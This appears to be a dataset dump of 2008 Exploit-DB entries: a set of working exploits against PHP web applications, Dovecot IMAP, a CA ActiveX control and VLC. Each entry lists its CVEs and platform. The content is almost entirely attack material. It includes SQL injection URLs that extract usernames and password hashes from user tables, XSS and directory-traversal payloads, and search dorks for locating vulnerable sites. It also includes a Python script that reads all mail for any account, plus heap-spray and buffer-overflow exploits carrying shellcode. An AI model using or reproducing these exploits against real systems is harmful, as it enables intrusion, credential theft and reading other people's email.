QLWD/code_shield huggingface dataset:
标题: mutiple timesheets 5.0 - Multiple Vulnerabilities EDB-ID: 5262 CVE: 2008-1415 2008-1414 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-16 漏洞利用脚本: --==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+              Mutiple Timesheets <= 5.0 - Multiple Remote Vulnerabilities           +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Mutiple Timesheets
[~] Download: http://riceball.com/drupal/files/mts-5.zip
[~] Exploit: Multiple Remote Vulnerabilities [High]
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] Good!

[+] Directory traversal:

[~] Vuln File: index.php
[~] Exploit: http://localhost/PATH/?tab=[FILE]
[~] Example: http://localhost/apps/mts/mts/?tab=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

[+] Cross Site Scripting:

[~] Vuln File: index.php
[~] Exploit: http://localhost/PATH/?tab=[XSS]
[~] Example: http://localhost/apps/mts/mts/?tab=>'><ScRiPt%20%0a%0d>alert("JosS")%3B</ScRiPt>

[+] Cookie Manipulation:

[~] Vuln File: index.php, clientinfo.php, invoices.php, smartlinks.php, todo.php
[~] Exploit: http://localhost/PATH/index.php?mode=edit&tab=[Cookie]
[~] Example: /apps/mts/mts/index.php?mode=edit&tab=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>


--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-03-16] URL: https://www.exploit-db.com/exploits/5262
标题: phpBP RC3 (2.204) FIX4 - SQL Injection EDB-ID: 5263 CVE: 2008-1408 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-16 漏洞利用脚本: .-----------------------------------------------------------------------------.
|  vuln.: phpBP <= RC3 (2.204) FIX4 Remote SQL Injection Vulnerability        |
|  download: http://www.phpbp.com/                                            |
|  dork: "PHP BP Team"                                                        |
|                                                                             |
|  author: irk4z@yahoo.pl                                                     |
|  homepage: http://irk4z.wordpress.com/                                      |
|                                                                             |
|                        --->    HACKBOX.pl    <---                           |
|                                                                             |
|  greets to: cOndemned, str0ke, wacky                                        |
'-----------------------------------------------------------------------------'

# code:

 ./includes/functions/banners-external.php:
 ...
3   function banner_out() //zlicza ilosc klikniec na banner
4   {
5    global $conf;
6 
7    if($_GET['id'])
8    {
9     SQLvalidate($_POST['id']);
10
11    $db = new dbquery;
12    $db->query("SELECT * FROM $conf[prefix]banners WHERE id=$_GET[id]") or $db->err(__FILE__, __LINE__); 
13 
14    if($db->num_rows()==0)
15    {
16     redirect('index.php?module=error?error=banners_error2');
17     exit;
18    } 
19 
20    $d=$db->fetch_object();
21    $db->query("UPDATE $conf[prefix]banners SET views=views+1 WHERE id='$_GET[id]'") or $db->err(__FILE__, __LINE__); 
22 
23    redirect($d->url);
24   }
25
26   exit;
27  }
 ...

# exploit:

http://[host]/[path]/index.php?function=banner_out&id=10000/**/LIMIT/**/0/**/UNION/**/SELECT/**/1,2,concat(0x687474703A2F2F,login,0x5F,pass),4,5,6,7,8,9/**/FROM/**/phpbp_users/**/LIMIT/**/1/*

you will be redirect to http://[login]_[md5_hash_pass] (ex. http://admin_21232f297a57a5a743894a0e4a801fc3/)

# milw0rm.com [2008-03-16] URL: https://www.exploit-db.com/exploits/5263
标题: Joomla! Component Acajoom 1.1.5 - SQL Injection EDB-ID: 5273 CVE: 2008-1427 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-18 漏洞利用脚本: ###############################################
#
# Joomla Component com_acajoom SQL Injection
#
###############################################
#
# Author: fataku
#
# Mail    : fataku@gmail.com
#
###############################################
#
# Dorks 1 : inurl:"com_acajoom" mailingid
#
###############################################
#
# Sploit:
#
# index.php?option=com_acajoom&act=mailing&task=view&listid=1&Itemid=1&mailingid=1/**/union/**/select/**/1,1,1,1,concat(username,0x3a,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/from/**/jos_users/**/LIMIT/**/1,1/*
#
###############################################
#
# Note/Tip:
#
# jos_ prefix may need fixed
#
# it may differ the number id, try LIMIT/**/1,1/* instaed
#
###############################################
#
# Greetings:
#
# To all the guys at www.offensive-security.com
#
###############################################

side note:

 <name>Acajoom</name>
 <creationDate>January 2007</creationDate>
 <author>Joobi Ltd</author>
 <authorName>JoobiWeb</authorName>
 <copyright>Â© 2006-2007 Joobi Ltd. All Rights Reserved.</copyright>

 <license>http://www.acajoom.com/license.php</license>
 <authorEmail>support@acajoom.com</authorEmail>
 <authorUrl>www.joobiweb.com</authorUrl>
 <version>1.1.5</version>
 <description>Acajoom is a mailing lists, newsletters, auto-responders, and follow up tool to communication effectively with your users and customers.
 Your Communication partner!</description>

# milw0rm.com [2008-03-18] URL: https://www.exploit-db.com/exploits/5273
标题: CA BrightStor ARCserve Backup r11.5 - ActiveX Remote Buffer Overflow EDB-ID: 5264 CVE: 2008-1472 类型: REMOTE 平台: WINDOWS 发布日期: 2008-03-16 漏洞利用脚本: <HTML>
<!--
CA BrightStor ARCserve Backup r11.5 AddColumn() 0day ActiveX Remote Buffer Overflow Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Tested on: 
- CA BrightStor ARCserve Backup r11.5 (ftp://ftp.ca.com/priv/trial/BABr11/BABLDr115/BABLDr115.zip)
- IE 6 
- XP SP2 Polish
Details:..

Filename: CA\DSM\bin\ListCtrl.ocx
File description: Unicenter DSM r11 List Control ATX
CLSID: {BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3}
ProgID: LISTCTRL.ListCtrlCtrl.1
Version: 11.2.3.1895
Company: CA

AddColumn(%u4141%u4141..[128], 1);
 
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [41414141])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=7C9037D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00
ESP=0012A9C4: BF 37 90 7C AC AA 12 00-9C AF 12 00 C8 AA 12 00
EBP=0012A9E4: 94 AA 12 00 8B 37 90 7C-AC AA 12 00 9C AF 12 00
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
----------------------------------------------------------------
-->

<object id="obj" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object>

<script>

var shellcode = unescape("%u9090%u9090"+  //Windows Execute Command (calc)
"%ue8fcD%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+
"%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+
"%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+
"%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040"+
"%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0"+
"%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a"+
"%u685f%ufe98%u0e8a%uff57%u63e7%u6c61c");

var address = 0x0A0A0A0A;
var block_size = 0x400000;
var blocks = (address - block_size) / block_size;
var filler = unescape("%u0A0A%u0A0A");
var buf = unescape("%u0A0A%u0A0A");
var buf_size = 128;

while((filler.length * 2) < block_size) filler += filler;
filler = filler.substring(0, block_size - shellcode.length);
memory = new Array();
for(i = 0; i < blocks; i++) memory[i] = filler + shellcode;
while(buf.length < (buf_size * 2)) buf += buf;
buf = buf.substring(0, buf_size);

obj.AddColumn(buf, 1);

</script>
</HTML>

# milw0rm.com [2008-03-16] URL: https://www.exploit-db.com/exploits/5264
标题: eXV2 Module Viso 2.0.4.3 - 'kid' SQL Injection EDB-ID: 5254 CVE: 2008-1404 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-14 漏洞利用脚本: ##########################################
#
# Powered by eXV2 Viso 2.03 SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORKS 1 : allinurl :"modules/viso"
#
###########################################
EXPLOIT 1 :

modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass/**/from/**/exv2_users/*where%20exv2_admin%201

EXPLOIT 2 :

modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass,pass/**/from/**/exv2_users/*where%20exv2_admin%201

###########################################
Viso 2.03
Submit date: 2006/8/10
Homepage: www.exv2.de
Version : 2.03
###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

# milw0rm.com [2008-03-14] URL: https://www.exploit-db.com/exploits/5254
标题: Dovecot IMAP 1.0.10 < 1.1rc2 - Remote Email Disclosure EDB-ID: 5257 CVE: 2008-1218 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-03-14 漏洞利用脚本: #lame Dovecot IMAP [1.0.10 -> 1.1rc3] Exploit
#Here's an exploit for the recent TAB vulnerability in Dovecot.
#It's nothing special since in the wild there are few to none
#targets because of the special option which has to be set.
#see CVE Entry CVE-2008-1218
#Exploit written by Kingcope
import sys
import imaplib

print "Dovecot IMAP [1.0.10 -> 1.1rc2] Exploit"
print "Prints out all E-Mails for any account if special configuration option is set"
print "Exploit written by kingcope\n"

if len(sys.argv)<3:
     print "usage: %s <hostname/ip address> <account> [-nossl]" % sys.argv[0]
     exit(0);

if len(sys.argv)>3 and sys.argv[3] == "-nossl":
 M = imaplib.IMAP4(sys.argv[1])
else:
 M = imaplib.IMAP4_SSL(sys.argv[1])
M.login(sys.argv[2], "\"\tmaster_user=root\tskip_password_check=1\"");
M.select()
print "login succeeded."
typ, data = M.search(None, 'ALL')
k=0
for num in data[0].split():
    typ, data = M.fetch(num, '(RFC822)')
    print 'Message %s\n%s\n' % (num, data[0][1])
    k=k+1
M.close()
M.logout()
print "Messages read: %s" % k

# milw0rm.com [2008-03-14] URL: https://www.exploit-db.com/exploits/5257
标题: eXV2 Module WebChat 1.60 - 'roomid' SQL Injection EDB-ID: 5255 CVE: 2008-1407 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-14 漏洞利用脚本: ##########################################
#
# Powered by eXV2 WebChat 1.60 SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORKS 1 : allinurl :"modules/WebChat"
#
###########################################
EXPLOIT 1 :

modules/WebChat/index.php?roomid=-9999999/**/union/**/select/**/0,uname,0x3a,0x3a,pass/**/from/**/exv2_users/*where%20exv2_admin%201

###########################################
WebChat 1.60
Submit date: 2006/6/13
Homepage: www.exv2.de
Version : 1.60
Downloads : 561
Filesize : 79.76 KB
Supported platforms : eXV2
###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

# milw0rm.com [2008-03-14] URL: https://www.exploit-db.com/exploits/5255
标题: eXV2 Module MyAnnonces - 'lid' SQL Injection EDB-ID: 5252 CVE: 2008-1406 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-14 漏洞利用脚本: ##########################################
#
# Powered by eXV2 MyAnnonces 1.8 SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : eXV2 MyAnnonces
#
###########################################
EXPLOIT :

modules/MyAnnonces/annonces-p-f.php?op=ImprAnn&lid=-9999999/**/union/**/select/**/pass,pass,uname,0x3a,0x3a,0x3a,0x3a,0,0,0,0x3a,0x3a,1/**/from/**/exv2_users/*where%20exv2_admin%201

###########################################

Category: eXV2 - Module
myannonces 1.8
Submit date; 2006/4/10
Version : 1.8

###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

# milw0rm.com [2008-03-14] URL: https://www.exploit-db.com/exploits/5252
标题: Fully Modded phpBB - 'kb.php' SQL Injection EDB-ID: 5243 CVE: 2008-1350 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: # Powered by phpBB Â© 2001, 2006 phpBB Group
# Modified by Fully Modded phpBB Â© 2002, 2006
#
#########################################################################
#
# AUTHOR : TurkishWarriorr
#
# HOME : http://www.1923turk.org
#
#########################################################################
#
# DORKS 1 : allinurl :kb.php?mode=article&k
# DORKS 2 : article&k=
# DORKS 3 : "Powered by phpBB Â© 2001, 2006 phpBB Group"  "Modified by Fully Modded phpBB Â© 2002, 2006"
#
##########################################################################
EXPLOIT :

kb.php?mode=article&k=-1+union+select+1,1,concat(user_id,char(58),username,char(58),user_password),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+where+user_id+=2&page_num=2&cat=1


##########################################################################
                               www.1923turk.org                     
                        turkish-warriorr@hotmail.com

# milw0rm.com [2008-03-12] URL: https://www.exploit-db.com/exploits/5243
标题: EasyGallery 5.0tr - Multiple Vulnerabilities EDB-ID: 5247 CVE: 2008-1347 2008-1346 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: --==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                EasyGallery <= 5.0tr - Multiple Remote Vulnerabilities              +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: EasyGallery
[~] HomePage: http://myiosoft.com
[~] Exploit: Multiple Remote Vulnerabilities [High]
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] Verified in localhost with EasyGallery 5.0tr and magic_quotes Off

[+] Remote SQL Injection:

[~] Vuln File: index.php
[~] Exploit: http://localhost/PATH/staticpages/easygallery/index.php?page=category&PageSection=0&catid=[SQL]
[~] Example: -1+union+all+select+1,2,3,concat(puUsername,char(54),puPassword),5,6,7,8,9,0,1+from+edp_puusers/*

[+] Cross Site Scripting in URI:

[~] Vuln File: index.php
[~] Exploit: http://localhost/PATH/staticpages/easygallery/index.php/[XSS]
[~] Example: >"><ScRiPt>alert("JosS)</ScRiPt>

[+] Cross Site Scripting:

[~] Vuln File: index.php
[~] Exploit: http://localhost/PATH/staticpages/easygallery/index.php?help=about&q=[XSS]
[~] Example: %22+onmouseover=alert("JosS")+


--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-03-12] URL: https://www.exploit-db.com/exploits/5247
标题: VideoLAN VLC Media Player 0.8.6e - Subtitle Parsing Local Buffer Overflow EDB-ID: 5250 CVE: 2008-1881 类型: LOCAL 平台: WINDOWS 发布日期: 2008-03-14 漏洞利用脚本: /*
VLC <=0.8.6.e
Subtitle parsing local buffer overflow exploit
Creadit to cuongmx@gmail.com vs Look2Me @
Tested on windows XP Pro SP2

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char ssa_header[]=
"[Script Info]\r\n"
"Title: VLC <= 0.8.6c,e buffer-overflow\r\n"
"ScriptType: v4.00\r\n"
"Collisions: Normal\r\n"
"[V4 Styles]\r\n"
"[Events]\r\n"
"Dialogue:";

// execute calculator from Meta
char shellcode[] =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3d"
"\xba\xb1\xd9\x83\xeb\xfc\xe2\xf4\xc1\x52\xf5\xd9\x3d\xba\x3a\x9c"
"\x01\x31\xcd\xdc\x45\xbb\x5e\x52\x72\xa2\x3a\x86\x1d\xbb\x5a\x90"
"\xb6\x8e\x3a\xd8\xd3\x8b\x71\x40\x91\x3e\x71\xad\x3a\x7b\x7b\xd4"
"\x3c\x78\x5a\x2d\x06\xee\x95\xdd\x48\x5f\x3a\x86\x19\xbb\x5a\xbf"
"\xb6\xb6\xfa\x52\x62\xa6\xb0\x32\xb6\xa6\x3a\xd8\xd6\x33\xed\xfd"
"\x39\x79\x80\x19\x59\x31\xf1\xe9\xb8\x7a\xc9\xd5\xb6\xfa\xbd\x52"
"\x4d\xa6\x1c\x52\x55\xb2\x5a\xd0\xb6\x3a\x01\xd9\x3d\xba\x3a\xb1"
"\x01\xe5\x80\x2f\x5d\xec\x38\x21\xbe\x7a\xca\x89\x55\xc4\x69\x3b"
"\x4e\xd2\x29\x27\xb7\xb4\xe6\x26\xda\xd9\xd0\xb5\x5e\xba\xb1\xd9";

char szJMP[]=
"\x90\x90\xe9\x38\xff\xff\xff\xeb\xf9\x90\x90\x0b\x0b\x38\x00";

char szAVI[]=
"\x52\x49\x46\x46\xC\x0\x0\x0\x41\x56\x49\x20\x4C\x49\x53\x54\x00\x00\x00";

main()
{
    int i,j,k;
    printf("Give me your VLC version:\r\n");
    printf("1> version 8.06.c\r\n");
    printf("2> version 8.06.d\r\n");
    printf("3> version 8.06.e\r\nChose:");
    j=getchar();
    switch(j)
    {
        case '1': k=165254;break;
        case '2': printf("\r\nI haven't got this version!\r\n Good Luck :-)");
                  getchar();
                  return 0;break;
        case '3': k=165286;break;
    }
    k=k-sizeof(shellcode);
    printf("\r\n[+] Creating .ssa file ...");
    FILE*    f;
    char    szBuffer[170000];
    char    szBuffer2[200];

    strcpy(szBuffer,ssa_header);    // header of ssa
    
    memset((szBuffer+sizeof(ssa_header)-1),'\x90',k);
    szBuffer[k+sizeof(ssa_header)]='\x00';
    strcpy(szBuffer2,shellcode);
    strcat(szBuffer2,szJMP);
    strcat(szBuffer,szBuffer2);
    
    f=fopen("Bof-VLC.ssa","wb");
    if(f==NULL)
    {
        printf("Can't create file");
        exit;
    }
    fwrite(szBuffer,1,strlen(szBuffer),f);  // write header
    fclose(f);
    printf("\r\n[+] .ssa file successfully create!");
 
 printf("\r\n[+] Creation .avi file ...");
    f=fopen("Bof-VLC.avi","wb");
    if(f==NULL)
    {
        printf("Can't create file");
        exit;
    }
    fwrite(szAVI,1,sizeof(szAVI),f);  // write header
    fclose(f); 
    printf("\r\n[+] .avi file successfully create!");
    getchar();
}

// milw0rm.com [2008-03-14] URL: https://www.exploit-db.com/exploits/5250
标题: EasyCalendar 4.0tr - Multiple Vulnerabilities EDB-ID: 5246 CVE: 2008-1345 2008-1344 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: --==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+               EasyCalendar <= 4.0tr - Multiple Remote Vulnerabilities              +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: EsayCalendar
[~] HomePage: http://myiosoft.com
[~] Exploit: Multiple Remote Vulnerabilities [High]
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] Verified in localhost with EsayCalendar 4.0tr and magic_quotes Off

[+] Remote SQL Injection:

[~] Vuln File: calendar_backend.php
[~] Exploit: http://localhost/PATH/plugins/calendar/calendar_backend.php?pageec=dayview&month=2&year=-1[SQL]
[~] Example: -1+union+all+select+1,2,3,concat(username,char(54),password),5,6,7,8,9,0,1+from+dbpfixajaxp_users/*

[+] Blind SQL Injection:

[~] Vuln File: ajaxp_backend.php
[~] Exploit: http://localhost/PATH/ajaxp_backend.php?page=[BLIND]
[~] Example: 1+and+1%3D0 

[+] Cross Site Scripting:

[~] Vuln File: calendar_backend.php
[~] Exploit: http://localhost/PATH/plugins/calendar/calendar_backend.php?pageec=dayview&day=[XSS]
[~] Example: >'><ScRiPt%20%0a%0d>alert("JosS")%3B</ScRiPt>


--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-03-12] URL: https://www.exploit-db.com/exploits/5246
标题: XOOPS Module tutorials 2.1b - 'printpage.php' SQL Injection EDB-ID: 5245 CVE: 2008-1351 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: ##########################################
#
#
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORKS 1 : allinurl :"/modules/tutorials/"
#
# DORK 2 : allinurl :"/modules/tutorials/"tid
#
###########################################
EXPLOIT 1 :

modules/tutorials/printpage.php?tid=-9999999/**/union/**/select/**/concat(uname,0x3a,pass),1,concat(uname,0x3a,pass),3,4,5/**/from/**/xoops_users/*

EXPLOIT 2 :

modules/tutorials/index.php?op=printpage&tid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass),3/**/from/**/xoops_users/*


###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

# milw0rm.com [2008-03-12] URL: https://www.exploit-db.com/exploits/5245
标题: eXV2 Module bamaGalerie 3.03 - SQL Injection EDB-ID: 5244 CVE: 2008-1349 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: ##########################################
#
# eXV2 Module bamaGalerie 3.03 SQL Injection
#
# download=http://www.exv2-filecenter.de/modules/mydownloads/singlefile.php?lid=9
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORKS 1 : allinurl :"modules/bamagalerie3"
# DORKS 2 : allinurl :"modules/bamagalerie"
#
###########################################
EXPLOIT :

viewcat.php?cid=-9999999/**/union/**/select/**/0,1,2,3,concat(uname,0x3a,pass),5,6/**/from/**/e_xoops_users/*

###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

# milw0rm.com [2008-03-12] URL: https://www.exploit-db.com/exploits/5244